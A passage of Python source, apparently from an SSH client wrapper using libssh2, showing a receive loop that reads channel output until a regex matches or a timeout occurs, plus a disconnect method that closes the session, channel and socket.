and buffer_size > 0 self.channel.settimeout(socket_timeout) start = time() output = self.channel.recv(buffer_size).decode() LOG.debug(output) size = len(output) duration = time() - start while ( not regex.search(output) and (timeout is None or duration < timeout) and size > 0 ): data = self.channel.recv(buffer_size).decode() LOG.debug(data) size = len(data) output += data duration = time() - start if size < 0 and size != LIBSSH2_ERROR_EAGAIN: raise ReceiveException(size, output, duration) if not size: raise SocketTimeoutException( output, socket_timeout, duration, regex.pattern ) if timeout is not None and duration >= timeout: raise ReceiveTimeoutException( output, timeout, duration, regex.pattern ) return self.sanitize(output) def disconnect(self): if self.session: self.session.close() if self.channel: self.channel.close() if self.socket: self.socket.close()